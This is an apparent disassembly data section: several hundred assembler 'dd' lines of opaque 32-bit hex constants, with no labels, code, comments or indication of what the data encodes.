		dd 1495C6EBh, 0EFF8F2DAh, 0EA6AD98Dh, 3DA5AA4Eh, 59E02966h
		dd 0C8BA5DAEh, 6D9A255Eh, 63BE50EBh, 0BAE2C6F9h, 6DCA6D73h
		dd 0AA9487F3h, 0BB08DE7Ah, 37CE642Fh, 0ADE59ECDh, 1D1E223Ah
		dd 0EE39B02Fh, 0E65F395h, 5D536AFFh, 0AA608FD0h, 0D7F84DD5h
		dd 92FFD289h, 0F1CE697Fh, 93D7F89Ah, 73CD3C3Ah,	719DB20Eh
		dd 1F87A57Ch, 0FFBFECE3h, 9CC8BF0Eh, 0DAD51076h, 0AE3457E6h
		dd 3C6508A5h, 7F06291Ch, 0A3CFF00Ah, 52D03DFBh,	645F239Eh
		dd 0C573DC0Eh, 0ED3D43D3h, 0DD3B444Ch, 0DF0EBAA8h, 0F5FFB2Dh
		dd 745B2527h, 8EE6D7A8h, 0DAE11AA5h, 656DB0EEh,	3F5B3D9Ch
		dd 4F263C12h, 0BFB1F6C9h, 3F60955Ch, 0C7DBEF17h, 0CB33A8B6h
		dd 0EC3319B1h, 0DB6E3EF5h, 585494DAh, 1556AF25h, 2A22C463h
		dd 0CFCBD964h, 0D6067197h, 38698B19h, 0A5AD8E4Fh, 1495F619h
		dd 6C7650DCh, 0EF7BDE15h, 0FBECBA2Eh, 253DE3CCh, 0C8543723h
		dd 0F7B431DAh, 0EBF5C05Dh, 37ED7D33h, 1E43B1E5h, 0DF8777C8h
		dd 8A9A767Dh, 0DBFAF973h, 0A69C6D7Fh, 3D75C8F9h, 5AEA18BFh
		dd 0D381E100h, 0AC8F20E3h, 0F10EA0C5h, 647C1D71h, 77E1C02Dh
		dd 0FB1EEA1Bh, 6BECC27Ah, 5BC158EFh, 0CEC1F1EFh, 71CE76F1h
		dd 0F9F1DAB6h, 0CEF6F1CEh, 9652AE71h, 7279BEDh,	0CA37E39Ch
		dd 79E76532h, 39B601AEh, 81E69A88h, 30A99360h, 0DF1DB8E7h
		dd 3933FDFAh, 1BD36CF5h, 0D6F448CEh, 0BC802EFEh, 0ED8660AFh
		dd 8E30D29Bh, 1CA8291Eh, 0BB415DF9h, 707BFE6Ch,	0C7BF2354h
		dd 5188123Dh, 2F36DB77h, 0AF5FD1DFh, 0DADAE4C6h, 98D9EFF5h
		dd 50777E5Ah, 8C796DDDh, 15AF51C3h, 9FEB64EDh, 0DA64DAC7h
		dd 67DA172Dh, 22E058F5h, 43A457DBh, 24D63CFEh, 57AAC7C3h
		dd 7CDD4FB5h, 4E3DC63Ch, 0C9A589BFh, 6855A8ACh,	0CF8F72DBh
		dd 5E42F4ADh, 6386904Fh, 0BA5F3669h, 9559B355h,	86F7AB65h
		dd 738A5FB4h, 7A4A768Fh, 58E45FCFh, 6F4FB748h, 0DAE60E89h
		dd 7EF6A579h, 540F0ABFh, 0D1CD0F79h, 0C77F7F42h, 8C275E6h
		dd 36115304h, 0D3423ACFh, 0AAECEAFFh, 8F386DFDh, 9C6478ECh
		dd 59C896F0h, 54AC5F47h, 0B764B6D1h, 576DDB4Dh,	156A1DF7h
		dd 0B28A5CBBh, 552E9DA4h, 0D6479730h, 3AC73AB7h, 0F37EB239h
		dd 0C9AAA4ABh, 0B2D9C42h, 5906E3Dh, 0E36D7D97h,	0C4FFBC2Ah
		dd 0DCF6518Ah, 0FC77CC45h, 2A1F2F92h, 0A4CDD9EDh, 0AE20E5C2h
		dd 0AFD66AECh, 0AB8B4C72h, 0B512B8F4h, 0F2DBB377h, 0B6D963F5h
		dd 0A8E47904h, 0D754C312h, 0D157710h, 58E05571h, 0AB13D232h
		dd 9EF546C8h, 0AB6D33FFh, 12B5BF7Eh, 195444BBh,	0C6E40C93h
		dd 9DC24C63h, 5AE7F931h, 5EF75BECh, 7E4D6EBBh, 113ED7D4h
		dd 4FB1E19Bh, 0FFD354D9h, 3C827D8Ah, 9223B6D4h,	0C23EE720h
		dd 0A9958A8Ch, 0F02D8EB9h, 4523C870h, 0BFEA7EBEh, 36D11FBBh
		dd 841C0B8Fh, 0FE5ADD59h, 507F9FF7h, 7F89C945h,	9CFF85C1h
		dd 8E3787Eh, 379094CFh,	0C6AFF88Eh, 0B537B10Dh,	66A76EBEh
		dd 0A0C6BD9Ah, 0DFFDE5AAh, 0FEDDF1C1h, 71BEE589h, 154443ADh
		dd 89DFFB3Bh, 9E9FC1FBh, 0E068FE1Eh, 2DD51065h,	38CB12B0h
		dd 39EF9F7Ch, 1D0FB64Eh, 0CEEFFEAEh, 1FF9DC7Fh,	5511FF3Ch
		dd 0E545FCE3h, 0BFCF47FCh, 0FC48BF98h, 8917F327h, 45FCE2FFh
		dd 0FE717FE2h, 0F3A6FC22h, 91F8E117h, 0BB2E5D1Bh, 6F289EAFh
		dd 36D35517h, 0D3F0A3CDh, 0F21279A6h, 5DAEC40Fh, 9C9290BBh
		dd 627FF6EBh, 0FC84EC1Ah, 0AFBF6EBBh, 37BBFA8Ah, 0F0E785D2h
		dd 7DBF147Bh, 0E05FF900h, 0CEE10177h, 0E2913BA5h, 34042A77h
		dd 0C0AF984h, 598275D9h, 30EFC7EFh, 1CA0FF7Eh, 0A491874Bh
		dd 6D434342h, 5819912Eh, 37F91ABFh, 0FE53FFEDh,	81AEFEF9h
		dd 0B7C05777h, 85DBE04Bh, 0B23F95DAh, 71C9F24Fh, 0F237F2DFh
		dd 0FE46BFCFh, 0E46FFAEDh, 6F67005Fh, 0DB9FC054h, 542BDB1h
		dd 0DD7642FCh, 0FEDBEF35h, 0B28A17E8h, 7D94D1ABh, 7F2FF123h
		dd 0F0279445h, 0E5FB2892h, 488CE471h, 0A78AE177h, 0BD43F4D5h
		dd 37DDE05Dh, 7DFD54DFh, 0D3C0FB9h, 8DE8C8F1h, 0BFF80BFCh
		dd 4F3ABFCCh, 7E2C453Dh, 5FAEE79Dh, 513E63FFh, 0A8206BA6h
		dd 7F39243Ah, 8F1D7E7Dh, 0DCFF9EE3h, 0FF9C9235h, 3ECF39E3h
		dd 5C842F49h, 73C7F6BFh, 0A05FAFE7h, 0F5A4FB3Ch, 0A8E53C3Fh
		dd 0ECF5BC3Fh, 9F5DAE76h, 0DCD1768Fh, 71E7951Fh, 70784BCEh
		dd 15DA3C0Ah, 1AB7C950h, 4E39D2AFh, 373A92CAh, 0FFE05FE7h
		dd 710BFC73h, 6BFCEDF6h, 0F846BD24h, 0DFE1C177h, 177F8705h
		dd 0F85DFE1Ch, 0AD5FE5EFh
		dd 51FE60FFh, 9D767295h, 0FE155DC8h, 77F8775Dh,	0DFDFE1DDh
		dd 0FDB77F24h, 710BFC6Dh, 0F0E217F8h, 5FE1C42Fh, 10BFC388h
		dd 6E42FE47h, 21FF7F2Eh, 9FFDABFCh, 57947F29h, 0FEAF297Fh
		dd 0FC99FF52h, 0E4CFFA0Bh, 7FB53FDFh, 276A4124h, 0DFC85FE0h
		dd 0D43ABFC5h, 76D6EDADh, 0DDB5BB6Bh, 0B76D6EDAh, 0ADDB5BB6h
		dd 6B76D6EDh, 10D90FFBh, 9B7590D4h, 0CC43CC41h,	0E659CCA7h
		dd 0A258B236h, 90E54527h, 8ECC1D84h, 0FB3A760h,	57D98BB2h
		dd 1F6C4BD9h, 0E04FCDCEh, 89CE16EFh, 0C645B46Bh, 0A31EC64Bh
		dd 5CCCB995h, 0AB9B9661h, 26E6F5CDh, 0C3B98B73h, 31EE65DCh
		dd 0CD079BF7h, 0F351E623h, 7999F9B8h, 9E633CCAh, 1799CF35h
		dd 25E68BCCh, 59498AF3h, 55905681h, 4B250ACFh, 0FB291268h
		dd 0B9ADB1FBh, 0DC89CCEh, 52B80AE0h, 9EE7EEEh, 3D6E65EEh
		dd 886FF067h, 0E283C47Bh, 0D4A3B131h, 5B968A57h, 0D34D751Bh
		dd 0D57CCC7Ch, 0AE968C3Ch, 10AC759Ah, 0CAD5A9ABh, 5986B70Ah
		dd 5ECA28D4h, 17D32B2Bh, 0C70CD6E8h, 996B3194h,	0B63D4C9Dh
		dd 77B2AB3Dh, 43ECC5B1h, 76ECF3ECh, 23B613F6h, 0CF9B9937h
		dd 0BCB1C57Dh, 9FE42FC2h, 3FF10FE1h, 0EBF897F2h, 920B07Ch
		dd 0E12CC219h, 0F0916111h, 0F85DB0B2h, 85DF859h, 6D8A9B11h
		dd 9A62FEC5h, 407C4538h, 233E2F9Ch, 89AF13AEh, 0EA45A44Dh
		dd 7989B512h, 0CDDCCE1Bh, 0ADB2B28Ah, 0EB0BEB72h, 2296B93Ch
		dd 1C4F5ECAh, 0DBA03748h, 3474E1D0h, 0D1A7489Dh, 0FA14F479h
		dd 0FA35FA59h, 0DA57FA5Dh, 0B4C2698Fh, 0DB307A62h, 33993798h
		dd 10F67CCCh, 88B730FBh, 0CABDC55Bh, 0F913E575h, 0BC25F9C7h
		dd 9A2DDE28h, 0A652B44Ah, 557E509Ch, 8D565482h,	0E9AB0757h
		dd 493A816Ah, 0A79D5FBDh, 0ABB751AEh, 0DA25AA7Fh, 7E825AABh
		dd 4E0D6F55h, 0B99C7653h, 338B0918h, 0D147A10Eh, 7A04F4F9h
		dd 0BD0CFD3Eh, 0EF41DE9Ah, 9FD20FA6h, 41D39FD0h, 0F746084Ch
		dd 0DB1DA665h, 67652D85h, 0E9B18FB1h, 8EB7395Ch, 0E11FE52Bh
		dd 4241F2F7h, 9A0BC088h, 0C4E446D0h, 0E936E29Eh, 0E913E943h
		dd 365FC91Bh, 0AC4A3AE5h, 2914AA92h, 0AD68957Bh, 569EF6BFh
		dd 0F7AB6F57h, 5CF5D3D1h, 80FEA67Dh, 0A03F5ABEh, 1B3A3537h
		dd 6318C6F1h, 7180F18Ah, 6B942310h, 369F36CEh, 217E91D7h
		dd 0D2472C96h, 3CCBE986h, 0DF65AEC7h, 6B627F61h, 8D38AD73h
		dd 7146E38Bh, 0F434DC25h, 903F2DA0h, 0E19FCE9Fh, 0D0A0E139h
		dd 35246C56h, 6CA41297h, 41B2A169h, 0A6394D79h,	0A6FCA97Ch
		dd 552EA9F8h, 0D3AB8757h, 21EA65D5h, 0A61A9CF5h, 2D50DAF1h
		dd 6DA39B5Fh, 1F6A0ED4h, 37AFE6Bh, 44BE807Dh, 44FF5D7Fh
		dd 53FF45FFh, 3128CBBFh, 305E349Eh, 19BF1876h, 334B667Eh
		dd 0A733CCC5h, 0B5CC0B98h, 3366F7E6h, 0CFD59DABh, 5A86B64Ah
		dd 0D605AD53h, 0F580EB76h, 0A2DA7589h, 14759196h, 32D34514h
		dd 0CFE8FBDh, 6990D4E3h, 46650CC6h, 0E9989331h,	932622CCh
		dd 67CECD9Dh, 0B8E7B84Bh, 0DC97DC35h, 0CE65DCF7h, 87CBAF8Fh
		dd 9979DDF1h, 14B4286Fh, 30B06168h, 1C265856h, 9A10FE11h
		dd 0CEC52D8Ah, 4B316F62h, 577C587Ch, 42FC50FCh,	281C46FCh
		dd 4B8F4965h, 25974BCFh, 0B725AE4Ah, 83CBBB90h,	0A6651CE5h
		dd 52B2A0F2h, 0A6FDAC3Bh, 74DDEA85h, 2FAF9F56h,	1FE9D7D7h
		dd 0EFF5A7EAh, 588C3BF5h, 81F1AC63h, 0DC7ADA31h, 0D6A2D67Ah
		dd 0F6AE47Bh, 0B89593B3h, 9C83B817h, 9FCF7FC0h,	0D3CBC694h
		dd 62F279E5h, 80F959F9h, 56FE587Ch, 5034A5AEh, 944B29BAh
		dd 0EA5994B7h, 7A977572h, 0B5AC6D5Ah, 0ADCD4CD5h, 6BF6D32Dh
		dd 7A96F54Dh, 23D45D47h, 2CFAA1F5h, 7D1ADD8Ch, 0BF47BEA3h
		dd 718898DDh, 6A7C69DBh, 0ACB35804h, 0D6BDAD57h, 0EB29D6FBh
		dd 9127F59Ch, 0B5145DE7h, 0BA6D4910h, 0A68EDD29h, 3A749EE9h
		dd 0FD237924h, 0BE9A7D36h, 0DD320746h, 5E99E19h, 4E62AD2Eh
		dd 0DED01132h, 0D0A3DC39h, 185CB5DCh, 5D3F05FFh, 41F85C78h
		dd 91EE2DA8h, 7954957Eh, 5039FA1Ah, 503E51C9h, 0D442513Eh
		dd 3EA0AACEh, 0CED2D6A1h, 523E9C6Bh, 0D1EFD0CFh, 0D65FD3EFh
		dd 0D53FD0DFh, 0C6668C83h, 71BA6310h, 31B4F1BFh, 0DE619CD5h
		dd 0BE83CE6Fh, 0F3E613Fh, 0F99AF2FBh, 23A9913Ah, 0C9167514h
		dd 0D30DBA66h, 1CCB9981h, 74D8E260h, 0F63ACE8Ch, 0DABA418h
		dd 0B9BD7067h, 0B7186E78h, 0CCD8FD1Ch, 0E71DCBBDh, 0E0B5C1FEh
		dd 817F794Bh, 30A7A11h,	0A1421185h, 56784930h, 866C2F58h
		dd 6E87D796h, 0C4B38817h, 0E255C5A7h, 0F135F16Ah, 0BC5E7888h
		dd 5E30E243h, 0A467A573h, 487FA5B7h, 0B96B7281h, 0DF219CBFh
		dd 0AF243F27h, 6FCA7790h, 0CFE547C9h, 0ABE59FE4h, 854B76E0h
		dd 0FD2A7A53h, 4A051FA1h, 0E952B289h, 16D28DA4h, 0D1F5836Ah
		dd 0FD01EEE0h, 0BEB9FEA8h, 3667A8C1h, 0AD9A9B30h, 985686CCh
		dd 0ADA2D5D5h, 758A56BEh, 156395B7h, 39AC535Bh,	69EB7CD6h
		dd 0D6B5856Bh, 69BD62DAh, 818EB41Dh, 3F58DFF3h,	575ABF5Ah
		dd 6C14EA2Ch, 5453FAFh,	4D6175D0h, 0D277D39Ah, 34EEE91Dh
		dd 14746B4Fh, 32BB071Dh, 0CE9BBE98h, 0D3716D84h, 0F4E9E893h
		dd 0FA51FA5Ch, 0ACD8C09h, 3B7A65FAh, 0F8D6D47Dh, 0F4B3E92Fh
		dd 0BA55F40Fh, 6980D336h, 60F55E09h, 0E99A2614h, 0D2660CCFh
		dd 294C3198h, 0F31F73h,	167980B3h, 0D981B7A3h, 0E65ECCEh
		dd 5F309F33h, 0BF303F32h, 0EDEC7E33h, 4EF6136Ch, 0B1CB33B6h
		dd 0EC326CD1h, 963B3667h, 782D0C9Dh, 7D8E7D94h,	7D857D91h
		dd 7EC7DD9Dh, 8E037ECCh, 0E2D6C9FFh, 613BB842h,	0F79B39BDh
		dd 5CE1B903h, 4DC85726h, 0F7266E4h, 0CF724F73h,	0E66F92C3h
		dd 70F6E0DEh, 0B8E770DFh, 0B93FB89Fh, 0DF087C5Ah, 0ED076F82h
		dd 0BE48F891h, 8FCA9F1Fh, 377973E4h, 9FBF953Fh,	0B9160C7Fh
		dd 6FC75F8Ch, 6582DFE5h, 0D3F98FEh, 0D615FF39h,	48D08EB9h
		dd 0C2742D68h, 0AC426A18h, 2A184030h, 0C2F90BA4h, 0E17EE154h
		dd 0A119E131h, 6C27584Ch, 0E12DE15h, 0A70B1F09h, 3F85EF85h
		dd 88625A85h, 90F42778h, 0E2E80D13h, 38B87140h,	3E2C9C46h
		dd 265E0B04h, 10DF166Eh, 4F33400Fh, 57883F8Ah, 3352FAC5h
		dd 55D4ADA9h, 1A4B2412h, 26928D22h, 47A5D34Ah, 0A5A527A5h
		dd 2DE94ED2h, 0A52FC158h, 25DFA41Fh, 0B976F93Fh, 0DCA77C89h
		dd 4364E659h, 0C9FB918Eh, 7950F249h, 172D9C94h,	14F2A5C8h
		dd 0A0FCA679h, 0F13418FCh, 0BCA57939h, 6F24DE46h, 4E84DF97h
		dd 963F911Eh, 92BF973Fh, 0C8BFC9CFh, 253F6597h,	3A510948h
		dd 2794B328h, 9B657294h, 5CF95072h, 0A5A945F9h,	354F6A2Ah
		dd 9F57CD45h, 5F505F52h, 1FAB3754h, 0BFA9DFA9h,	3F5AB1AAh
		dd 0B776B06Dh, 0A09B4636h, 68AF6B95h, 0B4B7B4DBh, 0DA23B477h
		dd 5A37DA27h, 0FEB87D47h, 0BE8AFE92h, 0FF40FF4Dh, 2C606F55h
		dd 30B4B680h, 612399BBh, 6199B775h, 976B38D6h, 5F805D45h
		dd 7476F325h, 4745DA1Dh, 0D145B2C0h, 0FA44F4C5h, 321CBA29h
		dd 67B4C811h, 263898A2h, 0BCC11995h, 1B67D4C8h,	0B06B22B3h
		dd 0D0E5B24Fh, 2FD80FA3h, 0EFD9AFD8h, 9FD91FD8h, 0CBD8DFD9h
		dd 9FD635ECh, 0CBAB8DBBh, 0B90D7305h, 5C1DDCA6h, 4EF581Bh
		dd 3BE31F2Eh, 7DC25B9Fh, 84D87B0Ch, 0F027C56Fh,	634FF20Fh
		dd 0BBF036ECh, 0A7FC23F8h, 0F8DFB718h, 420684DBh, 4B475857h
		dd 0CBBD07E8h, 1615EE17h, 37852B0Ah, 59C26384h,	6286CA58h
		dd 1C5A317Bh, 5C631621h
		dd 0DD67849Eh, 5E2A7E2Fh, 2248DB14h, 8C18C03Ch,	76D2E3C3h
		dd 44292BE9h, 72B32B6Eh, 0E72E9CB4h, 0C2D0F9C8h, 0F2F3F2F9h
		dd 0CF0B5B46h, 0EBE497C9h, 0DEE84B72h, 72A2E56Eh, 5556DA9Bh
		dd 94F061D5h, 5497D573h, 0D35DD697h, 0AC6D68B5h, 0ADDB40B6h
		dd 0EBBAD09Dh, 0FAB5F54Bh, 9EAF7D16h, 0BC683C6Fh, 9C627C63h
		dd 0E71ACE32h, 2D466B8Dh, 639A873h, 581025F6h, 16359FA2h
		dd 5AC8B95Ah, 0D0782B03h, 991485A3h, 0F7CF24CBh, 0E867D305h
		dd 0EB15406Eh, 6C411DA1h, 4AC5D673h, 0C4E82F6Ch, 0F72B765Eh
		dd 5719F726h, 0B4622807h, 0BEF092F0h, 2FE423F0h, 5A21EC4Ch
		dd 971D2F22h, 4BCE90BEh, 0E5DD49BFh, 895A641Fh,	8329FA51h
		dd 4C95BB95h, 4132AC65h, 48794FB9h, 0AC595C79h,	845E572Ch
		dd 5D53BBB7h, 88F62AA0h, 0D5DED7CFh, 377C625Ah,	3FF527E8h
		dd 37460EF4h, 0DE78C323h, 3820CAF8h, 2F228FCDh,	1CC4EEEAh
		dd 85737700h, 8F2CB246h, 43E65706h, 6BC956F2h, 4FE50FE5h
		dd 3DE5EFE5h, 2DF576CAh, 697AD695h, 8D16DA69h, 9F51F972h
		dd 2E774EA1h, 0DCE2CB91h, 0D2B0BDDCh, 2F4AC08Fh, 42C256E5h
		dd 0E4EDCABEh, 0C30EE6DEh, 7E869E4Ah, 42EAE55Eh, 62F9132Bh
		dd 2FF017Eh, 0FE55F0B4h, 5EF1C630h, 0E6F861E1h,	42EB859Fh
		dd 3893B10Bh, 6874C4Ch,	8A8F12EDh, 0E1D5F07Eh, 36640292h
		dd 3A477A40h, 4DCA8529h, 1A3D0665h, 1F91CF23h, 0FFC97796h
		dd 0DB96BF90h, 20CA5128h, 5EF954A5h, 5634ACB9h,	0A977A85Bh
		dd 6B4EC0C5h, 54DE6181h, 0B475A82Fh, 76BC5A8Eh,	6B899697h
		dd 0A5DB467Eh, 68BA051Dh, 58F4BBACh, 5EBEAC7Dh,	1A7A370Fh
		dd 460DE0FDh, 8B606E19h, 21878DFBh, 0CB1ACFE7h,	7AC6558Dh
		dd 6E51B363h, 0DA28B31Eh, 8C820A8Fh, 0BD0CD387h, 0CCC56E94h
		dd 0AB305663h, 7399AF99h, 25CC4FCCh, 82D31AE6h,	0EC7ED855h
		dd 6E25EE52h, 0BB8A771Fh, 0C1F9378Dh, 0CD2C1E7Ch, 3F067E44h
		dd 81B8570Fh, 0C03F837Fh, 29FC87Fh, 0A1F2AF37h,	6C5D30B0h
		dd 484BD30Bh, 138EB482h, 0A76115Eh, 0FE4F6187h,	24E93200h
		dd 8AE714CEh, 297D5241h, 1E902A57h, 4F4A1696h, 6AD2654Bh
		dd 876915E9h, 4F7A47B4h, 938A56FAh, 6CA7E573h, 0D0AFAFBDh
		dd 0CA59DF18h, 0CA0BCA63h, 0E55DE54Eh, 55CC5034h, 55077F5Ch
		dd 0C9020754h, 7B8E06CDh, 9C127D4Ch, 0D7D4978h,	6D5FB563h
		dd 0B46B85ADh, 854DA716h, 0DDAEFF76h, 0BBD337AEh, 0A31E86EBh
		dd 0D6EFD3F7h, 0E71DE133h, 358CABE8h, 0C6B3EAB8h, 19BAF369h
		dd 0CD5B0564h, 5BC5972Dh, 644B159Ah, 751FA7B4h,	7A57490Eh
		dd 1E9C3D00h, 4F43DF4Dh, 13C167A5h, 0EFDD83D4h,	802F2D08h
		dd 39907FB5h, 77B104C5h, 858043B0h, 606BB2A7h, 0EFB1B7C3h
		dd 0D3D827B1h, 75ECB7ECh, 0F4E836F6h, 9ED5808h,	701FD3B0h
		dd 0B867709Fh, 5C1FDC0Bh, 3BE9D803h, 0A0E30F21h, 0E7F36FD3h
		dd 5F42DDF9h, 51D4ADB1h, 5C0E011Ah, 53CAC692h, 0CBAFD5E1h
		dd 45474A81h, 0F417A53h, 28AF2BC7h, 354494A7h, 58785715h
		dd 6906AA3Dh, 5A1DDAC1h, 0D6CF2D7Bh, 65ED32C3h,	27ED03EDh
		dd 0A3AF402Dh, 0E95BD137h, 9F483EBCh, 5DB6B88h,	1F4EFCADh
		dd 0D8C48C6Ch, 16CC04BEh, 0FB36B66Ch, 369DB101h, 0D656807Fh
		dd 3AE13AB5h, 81C758F7h, 0E3B57FB0h, 9798CF05h,	0A16EE102h
		dd 7BFA23Fh, 8CF6912h, 0B331E4Ch, 0E075F6E8h, 60F02381h
		dd 0EDF63157h, 5FF0EED9h, 165C88F1h, 9DD95BB2h,	7DF641ECh
		dd 0AE3F2BF8h, 6B9AD73Eh, 5E0375C7h, 48520689h,	0A37086E6h
		dd 0D1A06CB9h, 878CD089h, 62DC05B8h, 95B7196Eh,	0E01DCDDBh
		dd 0E37EE7DEh, 0AE03425Ah, 910A77F3h, 84078890h, 0D053C205h
		dd 0E7C263F1h, 0AC4A72D0h, 3A91D62Fh, 38A4DD49h, 1834A069h
		dd 2A5F2198h, 0B34AA691h, 55D1FF6Dh, 0C041E5A6h, 3E00B0Ch
		dd 0E529927Eh, 4C524576h, 0C32B7A5h, 0FD59D0D2h, 0F6A6BD4Dh
		dd 0C99BFB36h, 6699D9B0h, 3ACE3011h, 0D3B9B373h, 0D2D10F7Ch
		dd 65F75C19h, 0A3A22EB3h, 0BA6C88D6h, 6519B623h, 366B24Dh
		dd 0AD653EAFh, 0CEB3DEB4h, 86FC2102h, 0CA8FC778h, 61467723h
		dd 0BEC23BDDh, 0E9B3A20Fh, 0D7DB60E7h, 0A61FFFC1h, 0FE2F814Fh
		dd 0DA6234Ch, 0FE3619D3h, 0B30E662Eh, 7CC3598Ch, 50CCFCCEh
		dd 0B34B086Ch, 3B3E6C19h, 9D8FBD91h, 2DF37B63h,	0C24E7736h
		dd 2C7187DEh, 5C5170A7h, 0C18B581Fh, 0F2B05DDCh, 0E107B8D3h
		dd 0BEE25FC5h, 0C6FC4485h, 20CDF105h, 45A1BD11h, 61B3F1F7h
		dd 6223E7F1h, 0C8BFCE59h, 0F277E7AFh, 0C01FF2EFh, 7D42535Fh
		dd 0ED0B1A1h, 5024F43Ah, 75E106D6h, 4BE103E1h, 0ABF082E1h
		dd 20EC52D0h, 0A31FB0AAh, 0FCD81CC5h, 0C5FBC57Bh, 0C517C4C7h
		dd 0EFC6F04Dh, 0FF8BEF88h, 2F13BF10h, 30A54D88h, 0C0329789h
		dd 0C3C047C9h, 0D2BBD275h, 0E953E951h, 0ED82E96Bh, 7E831F81h
		dd 945F952Dh, 0B4B2C1F7h, 42945255h, 5834DC48h,	5D61F7D0h
		dd 84A20EAh, 46353957h,	0C9F4834Dh, 0D2D840DAh,	5D3B5A89h
		dd 45A0A3D0h, 0F58FF4C3h, 0A348F49Fh, 0DC6D91B7h, 1633CC6Bh
		dd 64BC92C2h, 0BBDC06BCh, 6F0A38CFh, 1194D2D0h,	96693CB7h
		dd 1F9AEF99h, 2D4DFB82h, 33ECB80Eh, 0AE274BEBh,	86A623F3h
		dd 0A72F4A5Ah, 0C24FA1DFh, 742FC13h, 1699F530h,	132AA2F0h
		dd 4B0024C9h, 0B0DF013Dh, 2404D99Ah, 0B1631EF5h, 682CD883h
		dd 4BEC03D9h, 2DF626ECh, 68BC02F6h, 97246E1Dh, 0E1AE6E07h
		dd 1EF71B6h, 8F0AFD09h,	0F81781D1h, 3F107E18h, 3F997F9Ah
		dd 33F42B0Ah, 72FE1ADFh, 184830A0h, 0CA172C2Fh,	0DAE00385h
		dd 6C15A165h, 1B311F4Fh, 7121F538h, 0F882F891h,	804B701Eh
		dd 0EEA46D4h, 4FC1E53Eh, 0CDC4834Eh, 4B481693h,	2BC055A4h
		dd 446372FEh, 6E640A18h, 7BB6A238h, 0A5C0F995h,	0CA939407h
		dd 6035CA57h, 4B6A268Dh, 193A97B5h, 0F55EE491h,	7AD55573h
		dd 1AF83223h, 0B49793Ah, 557583D2h, 0D5EFD62Fh,	8A578077h
		dd 0CE78CBD1h, 0D5F8DCF8h, 988663A8h, 54DE4DCDh, 0CDB94711h
		dd 0E623E6B9h, 0F325F342h, 6FF02200h, 0CD119FCDh, 5BDAB1B7h
		dd 8ADD2C5Dh, 603E9487h, 0DC4F12Dh, 1928FCD3h, 0E7421AFCh
		dd 39E8D3D0h, 0BF4D3F4h, 15FA1AF4h, 887D2B7Ah, 23E81DFEh
		dd 0CCAE988h, 0F9334667h, 32374888h, 903D995Bh,	26981FCCh
		dd 0B196C9ACh, 0D90FD9BBh, 5C0ED8AFh, 47C8A07Fh, 1DB8A7B8h
		dd 0A51E051Ch, 42F9C3F2h, 0A1D821FEh, 80EFF88Fh, 5500BA2Bh
		dd 0A66128Ch, 5F8BA1BBh, 7509BF0Bh, 5C6266C4h, 0A5BCA05h
		dd 6C427F2Ch, 334A452Eh, 5D526DA5h, 693E0A39h, 581E7CA1h
		dd 0EE94C21h, 3297755Bh, 0B6781E06h, 0ACD94AB2h, 830E576Ch
		dd 94285F3Bh, 0A21A9B7Ah, 99148536h, 117568EAh,	2AABF3F8h
		dd 22B53D68h, 56B6B26Dh, 0ACFDAADBh, 2F16C385h,	1BD1DFD4h
		dd 89E0C31Ah, 236F1976h, 7100FDDAh, 25C60FD3h, 0CC4DBD44h
		dd 0C668A6AEh, 52CCC39Bh, 9CF99673h, 15B9B2F9h,	0E607F9B1h
		dd 0BF9D4449h, 6882E8D9h, 5A4568B3h, 39D1A003h,	6E9ADB96h
		dd 2FFA03CDh, 36FA1443h, 0C23BED24h, 0F67EF9B7h, 81FCDF1Bh
		dd 0B1033BF8h, 0D047A7F5h, 45C1C163h, 0EE7006F4h, 0BA67FA5Bh
		dd 0AD0C1316h, 98B8C16Eh, 33114C4Eh, 2CC19985h,	0D9B0BA67h
		dd 33BE335Ch, 0EC9E193Fh, 91003E57h, 0ADA14B7Ch, 856059D0h
		dd 0E3A5C478h, 0A3C21984h, 6DE112C2h, 844FF0F8h, 4D5AB08Bh
		dd 30F130C5h, 7ECA0D22h
		dd 3F12C349h, 6D18C6Fh,	2DA14476h, 429D17BAh, 0E8D3A50Fh
		dd 0F4FDF431h, 7A62F4C3h, 560ABD19h, 0EE5B23E5h, 994DD12Fh
		dd 24468630h, 86F4C511h, 0C33327DCh, 0BDB09198h, 9075990Bh
		dd 655640FCh, 88FED923h, 62214618h, 0B5EF6628h,	0D897E6E3h
		dd 77D518F5h, 607F2A80h, 0B94DB22Fh, 0BDBCB00Eh, 94A138ECh
		dd 0E74DCC9Bh, 419EE71Eh, 310AB094h, 9E7801C2h,	763D11CFh
		dd 0E2DE15E6h, 377F0FBh, 0E7E14C89h, 88BF57C0h,	0FF30E088h
		dd 40B1D95h, 0D10F50Ah,	0B8710944h, 1B8211BAh, 0B08D72A8h
		dd 29DCB111h, 0E2669460h, 0B0CBE2F3h, 47435F25h, 936F137Eh
		dd 87EE8182h, 7CD24548h, 59E909E9h, 40AD93D8h, 0A221F2Ah
		dd 93372DAFh, 33CD00DBh, 0F249F340h, 2E4D3930h,	0C701C794h
		dd 951F92CFh, 6CC2C117h, 213CBE00h, 0A8C4A73Fh,	0BA0521ABh
		dd 0AB69CF6h, 0DAC7FA91h, 0FC1CED19h, 4B6855F3h, 0AE94E033h
		dd 32EB06BAh, 0D1B7CF4Ch, 59FA5BDAh, 1A21BEBDh,	0F46911BAh
		dd 0B31B8637h, 371E6761h, 323E345Eh, 6E864818h,	99A7344Eh
		dd 60CB98CFh, 0BB9AB7E9h, 47E683CDh, 8AF379E6h,	0DE5F0FE9h
		dd 64808AD9h, 1506840Ch, 695C2222h, 4824411Dh, 0EF23F7ADh
		dd 0D1EAA0CCh, 0BA30E8CDh, 0D1D22D13h, 0BA749718h, 13DEF110h
		dd 7A4412F4h, 0E837E99Bh, 0B68F18CBh, 66374Ch, 0E661E9F4h
		dd 9B72C479h, 41CCDD98h, 0A0A023E6h, 305E19Fh, 80435580h
		dd 0B1B03B55h, 5B2E6Ch,	7D973ABCh, 7A167D98h, 8DD9AB6h
		dd 0FD87B8AFh, 32FF480Ch, 2DC8801Bh, 7B051B85h,	300C0C5Fh
		dd 5B9A7B9Dh, 1D7F7B0Dh, 0C629BEF6h, 963F3862h,	822FC09Fh
		dd 0BFCEDA95h, 0FFC27FC3h, 0DA13D7C2h, 0AA7D303h, 935F20C3h
		dd 1CC26985h, 43B08561h, 0F3B6D6F8h, 22C3D0E1h,	0E2E3E168h
		dd 0EBC58C32h, 0F02B8918h, 4FC07793h, 8C6F529Ah, 0A7A068C6h
		dd 10E7A527h, 0B528FD59h, 5165C395h, 9D8A044Eh,	88F8D40Ah
		dd 0A82224FCh, 0F97EF20Dh, 0B91BF923h, 712AC285h, 0E63C324Ah
		dd 38EB6848h, 94E7E5A0h, 0AD8C2032h, 0E47647CAh, 6D5B54h
